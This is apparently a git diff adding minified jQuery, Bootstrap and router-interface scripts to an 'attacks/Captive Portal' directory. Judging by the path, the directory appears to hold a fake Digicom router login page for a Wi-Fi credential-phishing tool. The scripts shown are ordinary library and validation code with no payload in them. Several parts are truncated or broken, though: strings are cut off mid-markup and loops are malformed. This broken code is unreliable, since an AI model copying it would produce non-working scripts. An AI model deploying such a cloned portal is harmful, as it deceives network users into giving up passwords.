if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap-submenu.js b/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap-submenu.js new file mode 100644 index 0000000..7c472ea --- /dev/null +++ b/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap-submenu.js @@ -0,0 +1 @@ +$("ul.dropdown-menu [data-toggle=dropdown]").on("click",function(b){b.preventDefault();b.stopPropagation();$("ul.dropdown-menu [data-toggle=dropdown]").parent().removeClass("open");$(this).parent().addClass("open");var d=$(this).parent().find("ul");var a=d.offset();if((a.left+d.width())+30>$(window).width()){var c=-d.width()}else{var c=$(this).parent().width()}d.css({left:c})}); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap.min.js b/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap.min.js new file mode 100644 index 0000000..af3273e --- /dev/null +++ b/attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery){throw new Error("Bootstrap's JavaScript requires jQuery")}+function(d){function c(){var f=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var g in e){if(void 0!==f.style[g]){return{end:e[g]}}}return !1}d.fn.emulateTransitionEnd=function(a){var h=!1,g=this;d(this).one(d.support.transition.end,function(){h=!0});var f=function(){h||d(g).trigger(d.support.transition.end)};return setTimeout(f,a),this},d(function(){d.support.transition=c()})}(jQuery),+function(f){var e='[data-dismiss="alert"]',h=function(a){f(a).on("click",e,this.close)};h.prototype.close=function(a){function l(){i.trigger("closed.bs.alert").remove()}var k=f(this),j=k.attr("data-target");j||(j=k.attr("href"),j=j&&j.replace(/.*(?=#[^\s]*$)/,""));var i=f(j);a&&a.preventDefault(),i.length||(i=k.hasClass("alert")?k:k.parent()),i.trigger(a=f.Event("close.bs.alert")),a.isDefaultPrevented()||(i.removeClass("in"),f.support.transition&&i.hasClass("fade")?i.one(f.support.transition.end,l).emulateTransitionEnd(150):l())};var g=f.fn.alert;f.fn.alert=function(a){return this.each(function(){var c=f(this),b=c.data("bs.alert");b||c.data("bs.alert",b=new h(this)),"string"==typeof a&&b[a].call(c)})},f.fn.alert.Constructor=h,f.fn.alert.noConflict=function(){return f.fn.alert=g,this},f(document).on("click.bs.alert.data-api",e,h.prototype.close)}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.isLoading=!1};d.DEFAULTS={loadingText:"loading..."},d.prototype.setState=function(a){var j="disabled",i=this.$element,h=i.is("input")?"val":"html",g=i.data();a+="Text",g.resetText||i.data("resetText",i[h]()),i[h](g[a]||this.options[a]),setTimeout(e.proxy(function(){"loadingText"==a?(this.isLoading=!0,i.addClass(j).attr(j,j)):this.isLoading&&(this.isLoading=!1,i.removeClass(j).removeAttr(j))},this),0)},d.prototype.toggle=function(){var h=!0,g=this.$element.closest('[data-toggle="buttons"]');if(g.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?h=!1:g.find(".active").removeClass("active")),h&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}h&&this.$element.toggleClass("active")};var f=e.fn.button;e.fn.button=function(a){return this.each(function(){var g=e(this),c=g.data("bs.button"),b="object"==typeof a&&a;c||g.data("bs.button",c=new d(this,b)),"toggle"==a?c.toggle():a&&c.setState(a)})},e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,this},e(document).on("click.bs.button.data-api","[data-toggle^=button]",function(a){var g=e(a.target);g.hasClass("btn")||(g=g.closest(".btn")),g.button("toggle"),a.preventDefault()})}(jQuery),+function(e){var d=function(a,g){this.$element=e(a),this.$indicators=this.$element.find(".carousel-indicators"),this.options=g,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};d.DEFAULTS={interval:5000,pause:"hover",wrap:!0},d.prototype.cycle=function(a){return a||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},d.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},d.prototype.to=function(a){var h=this,g=this.getActiveIndex();return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){h.to(a)}):g==a?this.pause().cycle():this.slide(a>g?"next":"prev",e(this.$items[a]))},d.prototype.pause=function(a){return a||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},d.prototype.next=function(){return this.sliding?void 0:this.slide("next")},d.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},d.prototype.slide=function(r,q){var p=this.$element.find(".item.active"),o=q||p[r](),n=this.interval,m="next"==r?"left":"right",l="next"==r?"first":"last",k=this;if(!o.length){if(!this.options.wrap){return}o=this.$element.find(".item")[l]()}if(o.hasClass("active")){return this.sliding=!1}var a=e.Event("slide.bs.carousel",{relatedTarget:o[0],direction:m});return this.$element.trigger(a),a.isDefaultPrevented()?void 0:(this.sliding=!0,n&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var c=e(k.$indicators.children()[k.getActiveIndex()]);c&&c.addClass("active")})),e.support.transition&&this.$element.hasClass("slide")?(o.addClass(r),o[0].offsetWidth,p.addClass(m),o.addClass(m),p.one(e.support.transition.end,function(){o.removeClass([r,m].join(" ")).addClass("active"),p.removeClass(["active",m].join(" ")),k.sliding=!1,setTimeout(function(){k.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1000*p.css("transition-duration").slice(0,-1))):(p.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),n&&this.cycle(),this)};var f=e.fn.carousel;e.fn.carousel=function(a){return this.each(function(){var i=e(this),h=i.data("bs.carousel"),c=e.extend({},d.DEFAULTS,i.data(),"object"==typeof a&&a),b="string"==typeof a?a:c.slide;h||i.data("bs.carousel",h=new d(this,c)),"number"==typeof a?h.to(a):b?h[b]():c.interval&&h.pause().cycle()})},e.fn.carousel.Constructor=d,e.fn.carousel.noConflict=function(){return e.fn.carousel=f,this},e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(a){var l,k=e(this),j=e(k.attr("data-target")||(l=k.attr("href"))&&l.replace(/.*(?=#[^\s]+$)/,"")),i=e.extend({},j.data(),k.data()),h=k.attr("data-slide-to");h&&(i.interval=!1),j.carousel(i),(h=k.attr("data-slide-to"))&&j.data("bs.carousel").to(h),a.preventDefault()}),e(window).on("load",function(){e('[data-ride="carousel"]').each(function(){var a=e(this);a.carousel(a.data())})})}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.transitioning=null,this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var b=this.$element.hasClass("width");return b?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var l=this.$parent&&this.$parent.find("> .panel > .in");if(l&&l.length){var k=l.data("bs.collapse");if(k&&k.transitioning){return}l.collapse("hide"),k||l.data("bs.collapse",null)}var j=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[j](0),this.transitioning=1;var i=function(){this.$element.removeClass("collapsing").addClass("collapse in")[j]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition){return i.call(this)}var h=e.camelCase(["scroll",j].join("-"));this.$element.one(e.support.transition.end,e.proxy(i,this)).emulateTransitionEnd(350)[j](this.$element[0][h])}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var a=e.Event("hide.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var h=this.dimension();this.$element[h](this.$element[h]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var g=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return e.support.transition?void this.$element[h](0).one(e.support.transition.end,e.proxy(g,this)).emulateTransitionEnd(350):g.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var f=e.fn.collapse;e.fn.collapse=function(a){return this.each(function(){var g=e(this),c=g.data("bs.collapse"),b=e.extend({},d.DEFAULTS,g.data(),"object"==typeof a&&a);!c&&b.toggle&&"show"==a&&(a=!a),c||g.data("bs.collapse",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.collapse.Constructor=d,e.fn.collapse.noConflict=function(){return e.fn.collapse=f,this},e(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(r){var q,p=e(this),o=p.attr("data-target")||r.preventDefault()||(q=p.attr("href"))&&q.replace(/.*(?=#[^\s]+$)/,""),n=e(o),m=n.data("bs.collapse"),l=m?"toggle":p.data(),k=p.attr("data-parent"),a=k&&e(k);m&&m.transitioning||(a&&a.find('[data-toggle=collapse][data-parent="'+k+'"]').not(p).addClass("collapsed"),p[n.hasClass("in")?"addClass":"removeClass"]("collapsed")),n.collapse(l)})}(jQuery),+function(i){function h(a){i(m).remove(),i(l).each(function(){var c=n(i(this)),b={relatedTarget:this};c.hasClass("open")&&(c.trigger(a=i.Event("hide.bs.dropdown",b)),a.isDefaultPrevented()||c.removeClass("open").trigger("hidden.bs.dropdown",b))})}function n(a){var f=a.attr("data-target");f||(f=a.attr("href"),f=f&&/#[A-Za-z]/.test(f)&&f.replace(/.*(?=#[^\s]*$)/,""));var e=f&&i(f);return e&&e.length?e:a.parent()}var m=".dropdown-backdrop",l="[data-toggle=dropdown]",k=function(a){i(a).on("click.bs.dropdown",this.toggle)};k.prototype.toggle=function(p){var o=i(this);if(!o.is(".disabled, :disabled")){var c=n(o),b=c.hasClass("open");if(h(),!b){"ontouchstart" in document.documentElement&&!c.closest(".navbar-nav").length&&i(''}),d.prototype=e.extend({},e.fn.tooltip.Constructor.prototype),d.prototype.constructor=d,d.prototype.getDefaults=function(){return d.DEFAULTS},d.prototype.setContent=function(){var h=this.tip(),g=this.getTitle(),i=this.getContent();h.find(".popover-title")[this.options.html?"html":"text"](g),h.find(".popover-content")[this.options.html?"string"==typeof i?"html":"append":"text"](i),h.removeClass("fade top bottom left right in"),h.find(".popover-title").html()||h.find(".popover-title").hide()},d.prototype.hasContent=function(){return this.getTitle()||this.getContent()},d.prototype.getContent=function(){var g=this.$element,c=this.options;return g.attr("data-content")||("function"==typeof c.content?c.content.call(g[0]):c.content)},d.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},d.prototype.tip=function(){return this.$tip||(this.$tip=e(this.options.template)),this.$tip};var f=e.fn.popover;e.fn.popover=function(a){return this.each(function(){var g=e(this),c=g.data("bs.popover"),b="object"==typeof a&&a;(c||"destroy"!=a)&&(c||g.data("bs.popover",c=new d(this,b)),"string"==typeof a&&c[a]())})},e.fn.popover.Constructor=d,e.fn.popover.noConflict=function(){return e.fn.popover=f,this}}(jQuery),+function(e){function d(h,g){var b,a=e.proxy(this.process,this);this.$element=e(e(h).is("body")?window:h),this.$body=e("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",a),this.options=e.extend({},d.DEFAULTS,g),this.selector=(this.options.target||(b=e(h).attr("href"))&&b.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=e([]),this.targets=e([]),this.activeTarget=null,this.refresh(),this.process()}d.DEFAULTS={offset:10},d.prototype.refresh=function(){var a=this.$element[0]==window?"offset":"position";this.offsets=e([]),this.targets=e([]);var g=this;this.$body.find(this.selector).map(function(){var h=e(this),c=h.data("target")||h.attr("href"),b=/^#./.test(c)&&e(c);return b&&b.length&&b.is(":visible")&&[[b[a]().top+(!e.isWindow(g.$scrollElement.get(0))&&g.$scrollElement.scrollTop()),c]]||null}).sort(function(h,c){return h[0]-c[0]}).each(function(){g.offsets.push(this[0]),g.targets.push(this[1])})},d.prototype.process=function(){var i,h=this.$scrollElement.scrollTop()+this.options.offset,n=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,m=n-this.$scrollElement.height(),l=this.offsets,k=this.targets,j=this.activeTarget;if(h>=m){return j!=(i=k.last()[0])&&this.activate(i)}if(j&&h<=l[0]){return j!=(i=k[0])&&this.activate(i)}for(i=l.length;i--;){j!=k[i]&&h>=l[i]&&(!l[i+1]||h<=l[i+1])&&this.activate(k[i])}},d.prototype.activate=function(a){this.activeTarget=a,e(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var h=this.selector+'[data-target="'+a+'"],'+this.selector+'[href="'+a+'"]',g=e(h).parents("li").addClass("active");g.parent(".dropdown-menu").length&&(g=g.closest("li.dropdown").addClass("active")),g.trigger("activate.bs.scrollspy")};var f=e.fn.scrollspy;e.fn.scrollspy=function(a){return this.each(function(){var g=e(this),c=g.data("bs.scrollspy"),b="object"==typeof a&&a;c||g.data("bs.scrollspy",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.scrollspy.Constructor=d,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=f,this},e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var a=e(this);a.scrollspy(a.data())})})}(jQuery),+function(e){var d=function(a){this.element=e(a)};d.prototype.show=function(){var a=this.element,l=a.closest("ul:not(.dropdown-menu)"),k=a.data("target");if(k||(k=a.attr("href"),k=k&&k.replace(/.*(?=#[^\s]*$)/,"")),!a.parent("li").hasClass("active")){var j=l.find(".active:last a")[0],i=e.Event("show.bs.tab",{relatedTarget:j});if(a.trigger(i),!i.isDefaultPrevented()){var h=e(k);this.activate(a.parent("li"),l),this.activate(h,h.parent(),function(){a.trigger({type:"shown.bs.tab",relatedTarget:j})})}}},d.prototype.activate=function(a,l,k){function j(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),a.addClass("active"),h?(a[0].offsetWidth,a.addClass("in")):a.removeClass("fade"),a.parent(".dropdown-menu")&&a.closest("li.dropdown").addClass("active"),k&&k()}var i=l.find("> .active"),h=k&&e.support.transition&&i.hasClass("fade");h?i.one(e.support.transition.end,j).emulateTransitionEnd(150):j(),i.removeClass("in")};var f=e.fn.tab;e.fn.tab=function(a){return this.each(function(){var c=e(this),b=c.data("bs.tab");b||c.data("bs.tab",b=new d(this)),"string"==typeof a&&b[a]()})},e.fn.tab.Constructor=d,e.fn.tab.noConflict=function(){return e.fn.tab=f,this},e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(a){a.preventDefault(),e(this).tab("show")})}(jQuery),+function(e){var d=function(b,a){this.options=e.extend({},d.DEFAULTS,a),this.$window=e(window).on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};d.RESET="affix affix-top affix-bottom",d.DEFAULTS={offset:0},d.prototype.getPinnedOffset=function(){if(this.pinnedOffset){return this.pinnedOffset}this.$element.removeClass(d.RESET).addClass("affix");var b=this.$window.scrollTop(),g=this.$element.offset();return this.pinnedOffset=g.top-b},d.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},d.prototype.checkPosition=function(){if(this.$element.is(":visible")){var r=e(document).height(),q=this.$window.scrollTop(),p=this.$element.offset(),o=this.options.offset,n=o.top,m=o.bottom;"top"==this.affixed&&(p.top+=q),"object"!=typeof o&&(m=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof m&&(m=o.bottom(this.$element));var l=null!=this.unpin&&q+this.unpin<=p.top?!1:null!=m&&p.top+this.$element.height()>=r-m?"bottom":null!=n&&n>=q?"top":!1;if(this.affixed!==l){this.unpin&&this.$element.css("top","");var b="affix"+(l?"-"+l:""),a=e.Event(b+".bs.affix");this.$element.trigger(a),a.isDefaultPrevented()||(this.affixed=l,this.unpin="bottom"==l?this.getPinnedOffset():null,this.$element.removeClass(d.RESET).addClass(b).trigger(e.Event(b.replace("affix","affixed"))),"bottom"==l&&this.$element.offset({top:r-m-this.$element.height()}))}}};var f=e.fn.affix;e.fn.affix=function(a){return this.each(function(){var g=e(this),c=g.data("bs.affix"),b="object"==typeof a&&a;c||g.data("bs.affix",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.affix.Constructor=d,e.fn.affix.noConflict=function(){return e.fn.affix=f,this},e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var a=e(this),g=a.data();g.offset=g.offset||{},g.offsetBottom&&(g.offset.bottom=g.offsetBottom),g.offsetTop&&(g.offset.top=g.offsetTop),a.affix(g)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Digicom_it.portal/js/common.js b/attacks/Captive Portal/sites/Digicom_it.portal/js/common.js new file mode 100644 index 0000000..92eb28e --- /dev/null +++ b/attacks/Captive Portal/sites/Digicom_it.portal/js/common.js @@ -0,0 +1 @@ +try{$(document).ready(function(){$("table.az_wrap").wrap("
      ");$("table").attr("border","0");$("table").addClass("table table-condensed table-hover");$("table tr:has(input), table tr:has(select)").removeClass("row-even").siblings("tr").removeClass("row-even");$("table tr:has(input), table tr:has(select)").removeClass("row-odd").siblings("tr").removeClass("row-odd");$("table.az_wrap tr:even").addClass("row-even");$("table.az_wrap tr:odd").addClass("row-odd");$("table.az_wrap").addClass("table-bordered");$("table tr td:first-child").addClass("column-first");$("table tr td:last-child").addClass("column-last");$("table tr td").attr("align","");$("form").attr("role","form");$("form").addClass("form-horizontal");$(":text,textarea,select,:password").addClass("form-control input-sm");$(":button[value='Remove'],:submit[value='Remove'],:submit[value='DELETE']").addClass("btn btn-danger btn-sm");$(":button[value='View'],:submit[value='View'],:reset,:button[value='CANCEL'],:submit[value='CANCEL']").addClass("btn btn-info btn-sm");$(":button[value='Load Signed'],:submit[value='Load Signed']").addClass("btn btn-success btn-sm");$(":button[value='View'],:submit[value='View']").addClass("btn btn-info btn-sm");$(":button,:submit").not(".btn").addClass("btn btn-primary btn-sm");parent.showBaseframe();parent.autoResize("basefrm");try{$(".az_tooltip").tooltip();$(".az_popover").popover()}catch(a){}try{if(screenDaig==1){$("a[data-target=#helpModal]").click(function(b){b.preventDefault();var c=$(this).attr("href");$("#helpModal .modal-body").load(c,function(){$("#helpModal").modal("show")})})}}catch(a){}try{if(screenSyslog==1){$("body").on("hidden.bs.modal",".modal",function(){$(this).removeData("bs.modal")});$("#summaryModal").on("loaded.bs.modal",function(b){$(this).find("table tr:even").addClass("row-even");$(this).find("table tr:odd").addClass("row-odd");$(this).find("table.az_wrap").wrap("
      ")})}}catch(a){}})}catch(e){parent.showBaseframe();parent.autoResize("basefrm")}; \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Digicom_it.portal/js/detectmobilebrowser.js b/attacks/Captive Portal/sites/Digicom_it.portal/js/detectmobilebrowser.js new file mode 100644 index 0000000..f4c8b10 --- /dev/null +++ b/attacks/Captive Portal/sites/Digicom_it.portal/js/detectmobilebrowser.js @@ -0,0 +1 @@ +(function(b){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Digicom_it.portal/js/general.js b/attacks/Captive Portal/sites/Digicom_it.portal/js/general.js new file mode 100644 index 0000000..6cd90c7 --- /dev/null +++ b/attacks/Captive Portal/sites/Digicom_it.portal/js/general.js @@ -0,0 +1 @@ +var vstrings=parent.ary_strings;function DictionaryStrings(){this.dicObj={};if(typeof(vstrings)=="undefined"){alert("Load strings failure for js!!");return}for(var a=0;vstrings[a][0]!="";a++){this.dicObj[vstrings[a][0]]=vstrings[a][1]}this.getstring=function(b){if(typeof(this.dicObj[b])!="undefined"){return this.dicObj[b]}else{alert(b+":has not be defined in language string array!");return""}}}var langtxt=new DictionaryStrings();window._=function(a){return langtxt.getstring(a)};function doValidIPAndMask(c,b,a){if((c=="")&&(b!="")){if(a==1){alert(_("DesIPInvalid")+c)}else{if(a==2){alert(_("SorIPInvalid"))}else{alert(_("IPIsEmpty"))}}return false}else{if((c!="")&&(b=="")){if(a==1){alert(_("DesNetInvalid"))}else{if(a==2){alert(_("SorNetInvalid"))}else{alert(_("SubMaskInvalid")+b)}}return false}else{return true}}}function chineseCheck(b,a){var f=document.getElementById(a);var e=f.innerText;var d=b.value;var c;if(e==undefined){e="Warning : input"}for(c=0;c255){alert(e+_("ContentCHN"));return true}}return false}function isValidAscii(c){for(var a=0;a"~"){return b}}return""}function isNumeric(c){var a=c.length;var b;if(a==0){return false}for(i=0;i"9"||b<"0"){return false}}return true}function isValidUrlName(b){var c=0;var a=new Array();a[c++]="www";a[c++]="com";a[c++]="org";a[c++]="net";a[c++]="edu";a[c++]="www.";a[c++]=".com";a[c++]=".org";a[c++]=".net";a[c++]=".edu";if(isValidAscii(b)!=""){return false}for(c=0;ca?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof 